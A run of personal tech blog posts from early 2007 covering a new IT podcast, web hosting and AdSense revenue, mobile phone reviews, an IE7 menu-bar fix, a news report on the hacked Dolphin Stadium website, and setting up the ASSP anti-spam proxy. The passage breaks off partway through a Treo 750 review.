What better way to spend your "I am officially old" day than doing something completely new? As of today, a new podcast called RunAs Radio, hosted by Richard Campbell and co-hosted by Yours Truly, is being launched. Richard writes in a bit more detail about it on his weblog.

It's a weekly IT podcast with a Microsoft technologies focus. Richard and I will discuss all sorts of relevant topics with a variety of smart and interesting people. I am excited and looking forward to being a part of this project.

RunAs Radio was launched on April 11, 2007 with a nod from its sister show, .NET Rocks!, which started as a weekly downloadable mp3 in August, 2002! Coincidentally, the first RunAs Radio show features Patrick Hynds, who was also the first guest on .NET Rocks!

I have acquired a nice new mic and accessories to make some high quality recordings (but I will save the details for another post).

We hope you enjoy the show, and of course you should let us know what you think. The show is professionally produced by the great people at Pwop Productions.

Show #1 | 4/11/2007 (46 minutes)
Pat Hynds on Storage Technology

Patrick Hynds from Critical Sites kicks off this all-new Microsoft-centric IT podcast with a discussion about storage. This show is atypically long. We're trying for 30 minutes per show.

Links: RunAs Radio web site and RSS feed



Add/Read: Comments [6]
AudioBlogging | Tech | RunAs Radio
Tuesday, April 10, 2007 10:56:05 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, March 23, 2007

I'm not a programmer (a fact that for some reason sometimes surprises people when I tell then), and I used to be a hands-on IT guy, configuring and setting up complex systems and troubleshooting. All that respectable, "real" work is - for the most part - in the past. Now I supervise teams that do all that legitimate work.

But now and then I have to do things myself. In setting up a dedicated server for this blog, I found I needed to run applications with multiple versions of the .NET framework - in my case v1.1 and v2 both. I know how to assign the versions of .NET to the applications, but what I did not realize (because I had never had to worry about it on a single server myself) was that there's a bit more to the game than just assigning a framework version to your app and web server instance.

Luckily for me, Scott Forsyth covers just this on his blog in a post entitled "Running Multiple Versions of the Framework in .NET," which I found most useful. Thanks to Scott for the easy to follow post. Apparently it's a IIS v6 thing. I don't remember this behavior in IIS v5.



Add/Read: Comments [0]
Tech
Friday, March 23, 2007 3:56:32 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, March 15, 2007
Hosting & Servers at GoDaddy.com

Let me start by saying I really like GoDaddy.

A while back, I migrated this blog from a shared web hosting environment to a virtual dedicated server at GoDaddy. Now, before I gripe a bit about the performance, let me say one thing. What I bought from GoDaddy is exactly what I got. They guarantee something like 384MB of RAM for their Windows VDS's, and my blog plus mail server regularly exceeds that amount. My fault.

What that means is that when the host that houses my virtual server is under heavy load from the various virtual machines it's managing, the available RAM allocated to my virtual machine could drop as low as the guaranteed 384MB level. Needless to say, if that happens and my apps need more, things might crash. Especially those apps that are already running in RAM at the time the allocation changes.

And that's what has been happening on my server. Plus, I have discovered it's getting quite expensive.

As I mentioned in my last entry, my blog typically pulls in around $80 a day or so from ad clicks. Well, this afternoon I had a few minutes to breathe at work and I discovered my server had been offline most of the day. My ad revenue for today is less than $30 as a result. Do that a few times a month and adds up pretty quickly.

So, I've decided that I will once again be moving, this time to a GoDaddy physical dedicated server on its own hardware - an Intel Core 2 Duo running at 2.13 GHz, with 2GB RAM, dual 120GB drive in a RAID array, a Cisco PIX 501 firewall and the works. The reliability and uptime of dedicated hardware is easily justified by saving all the lost revenue from the current system, so it just makes good sense to do this. It's true what they say: You get what you pay for.

At any rate, the downtime during the transition will probably be far less than the downtime each time the current server fails. Maybe I should install this copy of Exchange I have lying around here and really get things humming. Hmm....



Add/Read: Comments [3]
Blogging | Random Stuff | Tech
Thursday, March 15, 2007 8:18:29 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, March 06, 2007

Over at problogger, I recently (well, actually it was several weeks ago - I am just now using a long flight from Chicago to finish this post) ran across a post entitled "Does AdSense Suck for Bloggers?" where Darren Rowse points to Guy Kawasaki (who started a popular blog called "How to Change the World" in 2006) and the New Web Order blog, which editorializes a bit further on Guy's experiences.

A bit of a high-profile slam on AdSense was taking place in these venues, which is unfortunate because Guy's experiences are not the same as everyone's. I'd venture to say that his experience may in fact be similar to the majority of people who just "give AdSense a try" without putting any serious effort into it. But Guy's blog was never optimized in terms of layout for AdSense advertising and his page content is not exactly optimal for context-sensitive advertising either. Now, he writes about many things (and quite well, by the way) and I truly enjoy his blog, but the fact of the matter is that there are a few things he could have done to improve his click-through rate and revenue. Not to mention the fact that his blog is still relatively new - it's only a year old. These things take time, the creation of contextual content and careful design. And the kinds of changes I am referring to would not necessarily have required trashing the layout or skimping/compromising on the author's writing style.

Go read Guy's post about his experience, and then take a look below at mine, to illustrate that it's not just about being famous or high up in technorati's listings when it comes to having a successful experience with AdSense. Being famous or well-known can help, of course, but it's really about how many web site visitors you get, whether the ads are contextually relevant, and how many of the people who visit your site actually click the ads to reach to the content they provide. I'm far from famous, and I am certainly not too well-known (thank goodness). But my revenues from AdSense on one single web site continues to amaze me.

Note: I am providing some information here that other people may not feel comfortable sharing about their own sites and experiences. That's fine, but I have no reason to hide any of this information. My point is to illustrate that AdSense can and does work, and to provide some evidence as well as a little balance to the "AdSense sucks" argument.

In mid-2006, my page views numbers were somewhere in the 8,000 per day range. Later in the year,  it's climbed to well over 10,000 a day, and is now well over 15,000 page views a day on most days - often in the 20-30,000 range.

So - for posterity's sake and for conversational comparison, here are some stats for the year 2006 on greghughes.net, per Google's system counters (which vary from and are slightly lower than my own internal stats counters, but I think being conservative is a good thing when looking at these values). Note that I cannot post publicly my account's actual click-though rate or other numbers due to Google's AdSense terms of service, which I respect. Also, I ran this article (pre-edits) by the AdSense support team before posting, just to make sure I am not crossing any lines. I have no desire to fall victim to the rather terse and stern terms of service that Google rightfully has on its program. They said I was good to go.

What I can tell you is that my click-though rate is relatively high compared to typical site averages, and that through testing I have proven to myself and others that the high rate is a direct result of effective placement and design of the ads themselves, in combination with site layout and design tweaks.

The 2006 stats for this site (greghughes.net):

  • 2,355,059 page views for an average of approximately 6,450/day average (using some very conservative counters to be sure). Note that today I average more than 20,000 per day - a significant difference. As you'd expect, that difference is reflected in the total number of clicks per day and the daily revenue numbers.
  • 264 posts for the year generated significantly less comments and trackbacks than Guy's blog did - and that's one difference in being famous and high-profile - people link and talk back to you more if you have some celebrity following like many of the A-listers do. Note that perhaps more important than how many posts and comments I had in 2006 are the other 1,107 posts that I made between this blog's inaugural post in 2003 and the end of 2005. Those posts still generate a significant amount of interest and traffic from search engines - many thousands of visits a day.
  • Again speaking conservatively, several hundred people regularly grab the RSS feeds. Again, this is a huge difference from Guy's RSS subscription count (I'm on the low end of the spectrum). His subscriber count via RSS is in the thousands - and this is also an indicator of why his traffic may not be driving much revenue. It's been proven that RSS feeds are not the better advertising medium. People just don't click as much. However, I should say that my friend Scott has seen some good results in his RSS advertising.
  • Total advertising revenue for 2006: approximately $8,700.00, which is significantly higher than Guy's revenue, and let's face, it - no one really knows me from a hole in the ground. It's also worth pointing out that the 2006 amount is for the full year, which includes a good six to seven months of significantly lower monthly revenue before I made some critical design changes to the page layout in about August. In fact, $1800.00 of the year's total came in December alone and my revenue values have been increasing consistently over time. Only time will tell, though. You never know what might drop or raise your numbers. Hopefully not this post, heh. For comparison purposes, my January 2007 revenue was over $2000.00 and it looks like February will close out at about $1700.00.
  • Again, I have intentionally left out any mention of metrics other than how many page views occur and the total payment amounts, because Google is pretty strict about not sharing other metrics like click-though ratios, cpm, etc.
  • As an aside, it's worth saying that for those who are not yet familiar with the process of IRS Form 1099 income, this is not all free money. You do have to pay taxes on it, and it's treated as income for an individual, so be prepared to set a large chunk aside for tax time each month. Keep that in mind and be sure to evaluate whether you should be running AdSense as an individual or as a business entity. Depending on your situation, there may be one option that's better than the other. you may want to consult a good CPA on an hourly basis to give you some advice. That tax hit, ouch!

There's a lot more that goes into making AdSense work than just dropping ads on the page and getting a few (or a lot of) people to look at your site. Sure, you have to drive traffic to your site content in order to get clicks. But ad positioning, relevance of the ads, the actual content of your site, and a number of other critical design and configuration elements play a major role in the failure or success of your advertising. The fact of the matter is, if you have a lot of distracting, flashy, graphical stuff on your pages, the ads will not get clicked nearly as much. Why? People just won't look at them nearly as much. It's that simple. 

For example, I used to have a picture of myself in the header of every page on my site, but one day I decided to remove it just to see what impact that would have on my ad clicks (specifically the click-through rate). I suspected that the picture was competing visually with the ads, resulting in less clicks. Sure enough, click-through nearly doubled as soon as I removed my mug-shot from the page template. Visual competition with your ads equates to distraction (you can think of it as visual aerobics - like watching a tennis game from side court), which means less clicks, which in turn means less revenue. Not a very complicated formula.

So, let me leave you with this - Despite the occasional popular, cliche rant in the blogosphere, AdSense most certainly and definitely does not suck for bloggers if you have patience, use it thoughtfully and apply it well. If you don't believe me, ask Joel Comm, the AdSense guru. If his AdSense Secrets is the bible of AdSense, then he is the prophet who can lead you to the promised land (forgive the analogy, sorry), but only if you actually follow his suggestions - all of them, even the ones you don't really want to. Remember - it's just a web site, so you can always put it back the way it was if you don't like the changes you make. You will have to experiment and try new things. Joel can tell you pretty much everything you need to know and a whole lot more. If I was to put some real and substantial time applying even more of his suggestions and those of others to this blog and maybe another one or two topical sites, I could quite possibly quit my day job.

But hey, I am certainly not planning to do that. I like my work and blogging is more of a passion for me than a vocation. I consider myself lucky: I'm certainly glad to have a revenue stream that makes it easy for me to justify using a dedicated host server and which pays for itself quite well (and then some). I'm also financially able to do more charitable giving in my community and in the world, which is important to me. It's a pretty darned good deal, no doubt about it. And I don't even have to do all that much to make it work - the content I've already written over the past few years seems to appeal to a wide audience, so they come here to find what they're looking for. Because the ads are relevant to what they're researching they sometimes click. All I really have to do is continue to write about the things that interest me and hope that others will remain interested, too.

By the way, I am certainly not the only beneficiary of my advertising success. It's a good deal for Google and it's advertisers, too: The better the ad performance on my site, the more effective their customer's ad campaigns. We all win.

Here are a few resources for learning about AdSense and making it work. These are the ones I used, in addition to a few acquaintances who made suggestions here and there:



Add/Read: Comments [1]
Blogging | Random Stuff | Tech
Tuesday, March 06, 2007 9:14:40 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, February 27, 2007

Okay, so I though I was crazy. Like as in "insane" or "defective."

I have been using ThinkPad computers for some time now, and pretty much every time I type my name the crazy things BEEP! back at me with a loud system beep sound. Now, if it did that every time I typed an obscenity, or maybe if I typed a weak password or something, I would accept and understand this amazing audible prompt that almost always snaps my head back and makes me flinch. But no... I happens every time I type my name.

Once again, a post on Omar Shahine's blog has improved my life.

Turns out it's not me, and that technology is to blame. Phew - I was starting to get worried after going through three ThinkPads, all with the same ritual behavior. The beep actually happens when any three keys are pressed all in the same row when at least two of the keys pressed are in this list of characters:

4567rtyufghjvbnm

Now, how's that for obscure? the best technical guess I had was that maybe I was brushing the little-red-eraser-like-mouse-nub-thing (which probably has a real name) and it was complaining at me for rubbing it the wrong way while typing.

But it was my name, after all. My name is Greg Hughes. As in 4567rtyufghjvbnm. Lots of keys all on two rows, and I type fast and probably overlap keystrokes. Yep, that explains it.

And best of all, the problem can be solved. This blog post tell you how. I have made the change and what do you know - no more screaming ThinkPad. Thank goodness!

I hope this helps someone else. It's restored a small but welcome slice of sanity to my life.



Add/Read: Comments [0]
Tech
Tuesday, February 27, 2007 7:45:48 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, February 23, 2007

I'll write up a couple/few posts about this new mobile phone over the next few days I am sure, but suffice it to say I have swapped out once again and am now using the Blackberry 8800, which was just released to the market by Cingular. You might recall my recent forays into the world of Windows Mobile with the Blackjack and Palm Treo 750.

I just fired up a personal account for the built in GPS navigation system, which is a TeleNav product. It comes preinstalled and all I can say is wow! Very, very nice. I will be using it for spoken turn-by-turn directions this evening to a weekend cabin on Mt. Hood, where I am taking the church youth group for a weekend of pain skiing and snowboarding.

So yes, I have given up the Palm Treo 750 running Windows Mobile. In the end, it was the lesser of the available evils, but was not stable enough and much of the usability was still quite clunky. It's a good device, but for what I do, once again Windows Mobile just doesn't do it. I have spent four or five hours so far with the Blackberry 8800 and I am supremely impressed. Although the trackball is a little different I like it and am getting used to it quickly. The menus are a little different than they used to be on all previous BlackBerries, but I am adjusting and I can see why they made the changes.

I wish I could write more now, but seven kids are counting on me to be ready to go to the mountain on time. Hey, at least we'll find the cabin when we get there!



Add/Read: Comments [14]
Mobile | Tech
Friday, February 23, 2007 5:09:38 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, February 19, 2007

My friend and co-worker, Milind Pandit, is a wicked smart guy who can teach anyone a thing or two about lots of different topics. One of his areas of professional interest and knowledge is product management. The other day Milind presented a webinar focused on product management and dealing with risk, return on investment and real-world options. True to form, he eventually breaks it all down into a nice, clean metaphorical world that anyone can understand. Milind has a way of explaining things and keeping them simple (for which I am eternally grateful, heh).

Check out this webinar by clicking here.

We present a methodology for planning and tracking a product development effort. The primary tool for the methodology is a simple, one-page spreadsheet capturing actual and predicted expenses and revenues, from which IRR or NPV can be derived. Furthermore, the spreadsheet models uncertainty of predictions. By constructing the spreadsheet for a product development effort, real options are exposed. By maintaining the spreadsheet on an ongoing basis, the exercise of real options is tracked and the likelihood of product success or failure is clarified.

The simplicity of the methodology ensures that

  • a product manager can independently stay up to date on the progress of a product development effort
  • anyone from line workers to corporate board members can easily understand the state of a product development effort
  • multiple product development efforts in various stages can be compared or aggregated into a portfolio
  • investment and divestment decisions can be made rationally and with complete information

To demonstrate this methodology, we will construct and modify a spreadsheet for a commonly-understood project: the purchase, improvement, and sale of a home.



Add/Read: Comments [0]
Management | Tech
Monday, February 19, 2007 1:14:24 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

An a la carte menu style is in the making as the two big sat-radio companies are merging. Interesting.

The companies say this means everything will be even better. Reading the press release you'd think it was the greatest thing since sliced bread. Forgive me for being a little less optimistic. Sure, I hope this means higher quality and more selection, but one has to worry at least a little. The competition thus far has bred some quick growth and service expansion. What happens to that now? When was the last time a single provider in a market space was good for consumers?

Anyhow, it will be fun to watch. And it's just satellite radio, so not like it's the end of the world if they screw up the marketplace. If it gets by the SEC and FCC. It probably will.

"The transaction is subject to approval by both companies' shareholders, the satisfaction of customary closing conditions and regulatory review and approvals, including antitrust agencies and the FCC. Pending regulatory approval, the companies expect the transaction to be completed by the end of 2007."



Add/Read: Comments [0]
Tech
Monday, February 19, 2007 12:26:23 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, February 18, 2007

Nothing like having an automated buddy on the other end of the instant messaging conversation to keep ya busy eh? Well, sometimes they can be practical.

If you use Windows Live Messenger (MSN Messenger), and if you're a film freak (or even if you just like movies), go to your IM client program and add moviescout@botmetro.net to your contact list. Then open a conversation window and type "hi" or something similar. You can set your ZIP code and start searching.

    

Once you've found a movie you want to look at, enter the number next to the title to get showtimes and a link to more information about the film:

    

It's pretty cool. A lot like using Fandango in your browser, I suppose. But on a mobile device this is cool stuff.



Add/Read: Comments [2]
Movies | Random Stuff | Tech
Sunday, February 18, 2007 1:16:07 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, February 11, 2007

Just the other day someone asked me why Internet Explorer had lost its menu bar after they ran a Windows Update. Of course, the "problem" was IE7 and the fact that the whole UI changed. Remember, IE7 is considered a critical update (and the first time an IE version has been promoted as such). The classic menu bar of the previous browser versions (and practically every other Windows application) is no longer visible by default. There are a couple ways to turn it back on, but when you do the result is not exactly optimal for some people. Maybe they're just whiners or getting old and set in their ways, but whomever you may be there is a solution for you. (Oh, and before people start saying "yeah, use firefox instead" please just stop and understand we got the point a long, long time ago. Firefox rocks, but this post is about menu bars in IE. tyvm.)

One thing many people don't realize is that the menu bar is actually still there in IE7, and one way you can access it just by hitting your ALT button. One tap and there it is, ready to use.

Or maybe you want it on all the time. To accomplish that in IE7, click on the the Tools menu (it has a little gear icon) and select "Menu Bar" from the options there. Now you have the menu bar back full-time and you can do your File, Edit, View, etc stuff all you want.

But, when you enable the menu bar, it actually appears below the address bar, which is a little weird for some people. And worse, you can't unlock and then drag and drop the menu bar to rearrange things because the address bar is not in the draggable/droppable list of UI stuff. everything appears below it. Bummer.

 

Have no fear. Chris Hanscom has posted a nice little registry hack that lets you put things back to the way you want them. The little animation above shows the three phases of menu bar goodness: Turned off completely (the IE7 default, which get a little more web page content on the screen and above the fold), Turned on and below the address bar (IE7's default location), and post-registry-hack style, with the menu bar back where you've expected it to be since dirt was first made.

So, no matter what your preference is, you have an option to meet your needs. Enjoy. And thanks to LifeHacker via Omar for the find. Check out both those blogs if you haven't already. Good stuff.



Add/Read: Comments [7]
Tech
Sunday, February 11, 2007 11:14:48 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, February 02, 2007

Bad guys are not stupid. What the lack in morals they sometimes make up for in creativity and smarts. That's why they can be so dangerous. Think like a bad guy: If you wanted to find a way to take advantage of a large public event in order to gain fraudulent access to thousands (or more) individual computers so you could install keystroke logging software and trojan software to allow you to grow your rogue bot network, what would you do?

Well if it was today, maybe you'd think to yourself, "Hey the Superbowl is this weekend. Let's set up a fake site and trick people into going there with an email and screw 'em all over."

Or, if you were smarter, you'd just take over the server that houses the site for Dolphins Stadium.

If this doesn't tell you why you should be focused on security, then what does?

The news item is here, and an advisory with a description is here.

The official Web site of Dolphin Stadium, home of Sunday’s Super Bowl XLI, has been hacked and seeded with exploit code targeting two known Windows security flaws.

In the attack, which was discovered by malware hunters at Websense Security Labs, the server hosting the site was breached and a link to a malicious JavaScript file was inserted into the header of the front page of the site. Visitors to the site execute the script, which attempts to exploit the vulnerabilities.

According to Dan Hubbard, senior director, security and technology research at Websense, the malicious site hosting the script has been taken offline by law enforcement officials but the hacked Dolphin Stadium site — which is attracting a lot of Super Bowl-related traffic — is still hosting the malicious JavaScript.

A visitor to the site with an unpatched Windows machine will connect to a remote server registered to a nameserver in China and download a Trojan keylogger/backdoor that gives the attacker “full access to the compromised computer,” Hubbard said.

Oy. What's it gonna take??



Add/Read: Comments [0]
IT Security | Safe Computing | Tech
Friday, February 02, 2007 12:58:44 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, January 16, 2007

I ran across the Giveaway of the Day web site the other evening and was intrigued. I've watched it for a few days now and have downloaded a couple of the programs they've offered. Basically, the site has a different piece of commercial software (typically smaller, utility-style stuff but you never know) that they give away for free for 24 hours. The catch, if you can call it that, is that you can only download any given program during its 24-hour offer period, and you have to install it during that period, as well. If you wait and try to install it later (as I did in once case), the product cannot be successfully registered.

But for free, whatcha gonna do, complain? I mean, come on. Heh. This is an interesting vehicle for getting people to check out other software offered by the companies whose software is featured, I suppose (they show examples of other software titles offered by each company with links).

Worth checking out. Be sure - as always - to use caution whenever downloading any software from the Internet. Good antivirus and antispyware software is important to have in place and running before you start downloading stuff. Heck, before you ever use the Internet for that matter.

In addition, the site has a freeware library that contains some interesting stuff as well as a Game Giveaway of the Day site. Same methodology, only it's games you get to play with.

Here are today's software and game give-away's:



Add/Read: Comments [3]
Random Stuff | Tech
Tuesday, January 16, 2007 11:46:37 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, January 15, 2007

I recently moved the greghughes.net domain (web site, mail and everything else) to a godaddy.com virtual dedicated server. In doing so, I lost the anti-spam services that were previously provided by my old web host. Needless to say, the resulting load of spam was fairly overwhelming. My prior host had an appliance out front that caught the better part of the junk email headed for my email server, but a fair amount still got through. At any rate, the move and resulting lack of junk mail protection necessitated a thoughtful look at the options out there.

My criteria were as follows:

  1. Needs to be software I can run myself. I've had my fun (yeah, that's sarcasm) with expensive services that are not overly effective. Complicated billing, archaic payment systems (invoices without a dollar amount? what?) and a couple hundred bucks or more a year was not for me.
  2. Preferably open-source. Nothing solves problems that plague the community like the members of the community, so I figured there must be something out there that the afflicted masses build and maintain.
  3. It had to stop spam, not just identify and tag it. My email server (MailEnable) is already capable of detecting and "flagging" emails as spam, but that doesn't stop it from getting to my mail server in the first place. The goal was to prevent, not react. So I was looking for a gateway-like solution - something that receives all the inbound email, checks it, and forwards on only the good stuff.
  4. It needs to learn how to act. Static rules don't work. We see it in the fraud world, and it certainly applies to spam battles, as well. The system has to be able to learn and adapt and operate in the context of my email accounts.
  5. It needs to be kept current. An open source project that no one has worked on for six months or more is likely a dead project, and that won't get you anywhere in a world where the landscape changes constantly. Spammers change tactics a lot, and the tools to prevent spam have to evolve to keep pace.

I did a bit of research, and frankly I came up with very little that met all my criteria. Sure, there are a whole slew of commercial products out there, but as I said before, I was looking for open source and free (or very close to it). I'm not looking to buy.

The one thing I found that truly seemed to fit the bill was ASSP, which stands for Anti-Spam SMTP Proxy. It's an open source, Perl-based gateway application that you can run on any operating system that supports the Perl interpreted language (which is pretty much all of them). It requires Perl v5.8 and a specific set of Perl modules, and it can be run as a daemon/service. ASSP has been updated about every two months in the recent past, with the most recent update having been in December (as of the time of this writing).

"The ASSP server project is an Open Source platform-independent transparent SMTP proxy server that leverages numerous methodologies and technologies to both rigidly and adaptively identify spam."

I quickly downloaded the ASSP files, installed the necessary Perl modules and was on my way. I had the ASSP service up and running within just about 15 or 20 minutes. Note that to get the app to run as a service, you will need to manually edit the config file and set the flag in there to specify that you want to run it as a service, or else the only way you'll be able to get it to start is on the command line. Alternatively, you can start ASSP from the command line, access the web admin interface, and change the setting there. Once you do so, you'll be able to start the Windows service or run the daemon in Linux or whatever OS you're working with.

The first thing I did after getting the service set up was to access the web administrative interface and change the default admin password. Do that first. Please. Then I put all of the anti-spam options into "training" mode and I specified a few of the basic server settings (like my domain and email account). I set it up to accept all inbound connections for email (SMTP) from the Internet on port 25, and to forward all emails that are determined not to be spam to the MailEnable server on another (unused) port. Since the MailEnable SMTP server is on the same host, the configuration and security setup was pretty simple. Of course, I them spent some considerable time looking through the many, many settings available. It's cool stuff, but you don't have to tackle it all right up front.

It's worth mentioning here that the ASSP wiki has a lot of good information about setting you system up. Be sure to refer to that resource. If you do, you can be up and running in no time. If you don't, you might just wish you had. Remember, always read the freakin' manual before you ask questions. Heh.

The training mode actually results in all email being delivered (not blocked), but it adds some header information to the email which you can read if you like in order to determine whether or not the ASSP system is flagging it as spam. I actually set up my Thunderbird client with a rule to look for the ASSP header and if the spam flag was true, to move the email off to another folder.

What you are supposed to do during this training period is to categorize the good and bad email, and in doing so tell the ASSP service how to treat the email it sees coming in. I used the email interface for submitting spam and good mail to ASSP for about a week before I turned training mode off. Reporting is very easy. I specified two email aliases in the ASSP system, such as spam-no@greghughes.net and spam-yes@greghughes.net (those are not the actual addresses of course) and on a regular basis forwarded groups of email back to the ASSP service that fit into each category. In fact, I even went back into my archive of valid email from before installing ASSP and forwarded a bunch of it to the system, so it could quickly learn what valid email looks like in my world. Your learning period will probably be about a week or so, or however long it takes you to gather 400 or more spam emails along with some some good, valid email.

Once you've provided the system with a corpus of good and bad email, you run a little Perl script on the server to update the Bayesian spam detection database, which is the adaptive learning part of the system. I did this a few times - about daily - throughout the first week. With each update the system got smarter and smarter. Once spam email was being very effectively categorized by ASSP, I switched the system from learning mode into normal operating mode and also configured ASSP to forward a copy of all spam emails it receives to a separate email account (say something like allspam@yourdomain.com). In doing so I have created a place for the system to provide me with all the spam email so that I can continue to peruse it when I feel like it in order to make sure nothing gets trapped in there as a false positive. But my main email account is spam-free. Initially I found a few valid emails were ending up being categorized as spam, but all I had to do was to forward those to the email error reporting interface mentioned above and then rebuild the database, and now for the past few days I have seen zero false positives. I intend to continue to check that account now and then, just to ensure I don't miss any critical email. It's a quick and easy process, especially since all the spam that is blocked by the system as a result of coming from known spammer sources (RBL lists) never even makes it into the system. So, I'm just weeding through the small remainder of the stuff that the system analyzes and weeds out in the second phase of its analysis.

Here is what the service has done for my email account since I turned it on about 12 days ago:

General Runtime Information

ASSP Proxy Uptime:
12.232 days

Messages Processed:
2297 (187.8 per day)

Non-Local Mail Blocked (percentage of email that is spam):
87.5%

CPU Usage:
0.27% avg

That's 288 valid emails and 2009 blocked as spam. As I said at the beginning, a bit overwhelming for only one email account in the mix, and obviously quite necessary to do something about it.

I still need to do some small amount of work to make sure the service stays up and running from a high-availability standpoint, and in fact I have that minor issue with not only the ASSP service but also a couple other email services and even the IIS service. Resource constraints seem to play havoc now and then on my virtual server, but I think I have managed to get a handle on that.

For anyone that's looking to put an anti-spam proxy in place for your own mail server, I most definitely recommend checking out ASSP and giving it a try. Download it here (use the most recent stable version). Or check out the ASSP Wiki, which contains documentation, the FAQ, and everything else you can think of. A high-level list of features can also be found on the ASSP home page at SourceForge.



Add/Read: Comments [1]
IT Security | Safe Computing | Tech
Monday, January 15, 2007 2:18:28 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, January 12, 2007

If you sense a pattern to my post titles, you're really paying attention. Recently I spent a few weeks using the Samsung Blackjack, a new Windows-mobile smartphone. Within the first 24 hours, as I wrote last month, it became clear to me that the phone wasn't going to work for me, being a power user of mobile technology for critical, fast-paced business. In other words, Crackberry-style. You can read my experiences here, and also know that while I was able to adjust somewhat to the Blackjack, the three weeks that followed that first "24 Hours" post were not significantly better than my initial impressions.

Palm Treo 750 For the past few days I reverted to using my tried-and-true Blackberry 8700 again. I went back because using the Blackjack was holding me back in a substantial way, and I am so busy at work right now I needed to get back to something that would perform and work the way I work. It's worthy of mention that after about 10 minutes using the Blackberry my old wrist pain started to come back. Not a good sign. the 8700 is wider then the Blackjack and the Treo, and I found that holding it was stretching my thumb out in a way that was causing me pain. So, that's a good thing to discover. Also, while I enjoyed the quick usability of the Blackberry the moment I went back to it, I found the screen and general look and feel to be plain and stark after living in Windows Mobile for a few weeks.

Anyhow, on Wednesday this week, a new box arrived via FedEx from Cingular (despite the much-hyped winter storm) and I swapped the Blackjack and the Blackberry back out again in order to give the new Palm Treo 750 a try. This is the latest of the Windows Mobile 2005 enabled Palm devices. It runs Windows Mobile Phone Edition v5, plus Palm has made some nice little enhancements to the home screen (or "Today" screen, as they say) and other software interfaces. To be honest, I was quite skeptical about whether this new device would be sufficient after my experiences over the past few weeks with the Smartphone version of Windows Mobile running on the Blackjack hardware. But I can report today that I am pleasantly surprised, and that I may have actually found a Windows Mobile phone that can replace my Blackberry for real-world use.

To be certain, the Treo 750 is a significantly beefier (both physically and figuratively) device than the Blackjack. But it is fast and smooth, very well designed and crafted, and is thought-out in a way that most other devices are not. Palm's attention to the enhancements they made to the home screen and some of the underlying software is indicative of their usability focus, and that's important. In fact, it may just make the technology sufficiently usable for what I need. Pretty much anything I need is accessible right there on the home screen. Because it's a PocketPC version of Windows Mobile, it has the touch screen and a stylus, so I can use my finger or the metal pen thing. Of course there is also the ubiquitous five-way button pointer just above the keyboard pad that works quite well for navigation, too.

So, what is it that is so much better about the Treo 750 that has me singing it's praises? Let me count a few of the ways:

  • It's fast and more powerful. The Treo doesn't miss keystrokes or pause for several to many seconds when you launch an application or try to do normal everyday tasks.
  • The way Palm approached text and MMS messaging is very cool - It looks a lot like an instant messaging interface and makes for a fast and positive text messaging experience.
  • Better speakerphone.
  • More advanced Windows Mobile software, with the ability to run PocketPC applications.
  • The keyboard is pretty darned terrific, leaps and bounds better than the Blackjack's.
  • The Treo loads web pages reliably and faster than the Blackjack, which is interesting since the 3G network the Treo uses is not (yet) HSPDA. The Treo currently runs on the UMTS network, with a HSPDA software upgrade slated for the first half of this year.
  • Check out some of the ease-of-use enhancements in a one-minute PC WORLD video here.
  • Check out Cingular's Treo 750 interactive tutorial (about 20 minutes) here.

What are some remaining Treo 750 and Windows Mobile shortcomings? There are a few, if I want to get nit-picky:

  • Battery life in my subjective first-day use on the high speed network was better than the Blackjack, but it is still not up to par with what one gets out of the Blackberry (which is and EDGE network device, for the record - slower yet again).
  • More proprietary connectors?? I know, it's a Palm creation. But seriously, why the heck can't we just charge and sync via a standard Mini-USB2.0 port? Time to locate and buy some more accessories. If I had $29.00 for every cheap plastic vehicle charger I ever bought, I'd be just about break-even.
  • The Inbox application on Windows mobile doesn't let you aggregate all your mail into the main inbox if you use subfolders in Outlook/Exchange to organize your email. More on that and what I did to alleviate the problem this evening can be found below.

Quick sidebar: My friend Trevin reacted in an IM conversation tonight to my petty complaints about the devices by saying, "Oh, cry me a river Hughes." Heh. Hey, man... You know, it's picky, difficult people like me that gently drive usability experts back into their corners and holes (in a friendly way, of course) where they make technology miracles happen in the next rev, and we also provide them with wish lists of things that would make us buy their stuff. Everything I say is intended to be taken from the perspective of "room and opportunity for improvement." Now, Trevin tells me he likes the smaller form factor of the Blackjack. The Treo is just too large and unwieldy for him, he says. Well in my book the Treo is smaller than my Blackberry 8700, at least width-wise, and that's a good thing. The Blackjack was almost too small. And yes, too small is possible - especially when you have to fit a QWERTY keyboard on the thing. Also - Trevin's a truly terrific guy, and I respect his opinions greatly. We have different perspectives, different jobs and use our devices differently. And he was being sarcastc in our IM chat - a little poking fun at friends kind of thing.

For some additional perspective, I'd suggest reading Walter Mossberg's Personal Technology article from Thursday, in which he says he thinks the Blackjack is a better device than the Treo 750 overall, although he recognizes some of the benefits of the Treo. It's clearly a purchase decision to be made based on individual and specific needs. Walt also points out that the newly-announced Apple iPhone (or whatever they end up calling it), which won't be released for several months, will likely be a killer for an of the Windows Mobile phones. Time will tell. The iPhone looks terrific for sure, but until I see one and use it, I am not convinced it would work for my particular business power-user needs. But that's also not likely to be the target market.

As I noted in my Blackjack review and above, I have always been a hyper-organizer of email, using folders and subfolders in Outlook and Exchange to organize email by type and recipient. As a result, due to the way the Windows Mobile Inbox works, in order to see if any email has arrived that gets distributed to any folder other than the inbox, I have to navigate the folder tree on the mobile phone, which requires a whole bunch of clicks and scrolls. Now, the full Windows Mobile edition on the Treo 750 includes a much simpler and easier mechanism in the form of a Folders menu, which allows me to much more easily access the folder list. But what I really wanted was what I was used to: A mobile inbox where all email sits, regardless of how I organize it in my desktop Outlook client.

